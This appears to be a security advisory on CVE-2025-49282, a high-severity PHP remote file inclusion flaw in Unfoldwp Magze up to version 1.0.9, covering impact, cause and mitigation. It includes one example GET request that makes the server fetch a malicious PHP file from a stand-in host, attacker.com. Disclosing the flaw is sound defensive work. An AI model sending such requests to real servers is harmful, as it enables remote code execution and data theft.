Overview
The cybersecurity landscape is constantly evolving, with new vulnerabilities emerging every day. One such critical vulnerability, identified as CVE-2025-49282, has been discovered in the Unfoldwp Magze PHP program. This PHP Remote File Inclusion vulnerability is of high severity, impacting versions up to and including 1.0.9. The vulnerability stems from an improper control of filename for the Include/Require statement in PHP. It’s crucial for IT professionals and administrators who use or manage Unfoldwp Magze to understand this vulnerability, as it has the potential to compromise systems or leak sensitive data.
Vulnerability Summary
CVE ID: CVE-2025-49282
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Not Required
Impact: System compromise or data leakage
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Product | Affected Versions
Unfoldwp Magze | Up to and including 1.0.9
How the Exploit Works
The CVE-2025-49282 vulnerability results from the improper control of filename for the Include/Require statement in the PHP program of Unfoldwp Magze. This flaw allows an attacker to include a file from a remote server, which can be executed in the context of the application. The remote server could be controlled by the attacker, hence the file included could contain malicious PHP code. Consequently, an attacker could exploit this vulnerability to execute arbitrary code and gain unauthorized access to the system, potentially compromising the system or causing data leakage.
Conceptual Example Code
A conceptual example of how the vulnerability might be exploited is shown below. This is a sample HTTP GET request that includes a malicious PHP file from a remote server.
GET /vulnerable/endpoint?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn the above example, the “file” parameter is used to include a malicious PHP file from a remote server (attacker.com). The malicious PHP file could contain code that exploits the server, leading to unauthorized access or data leakage.
Mitigation Guidance
To mitigate the impact of this vulnerability, users are advised to apply the vendor’s patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability, providing an additional layer of security.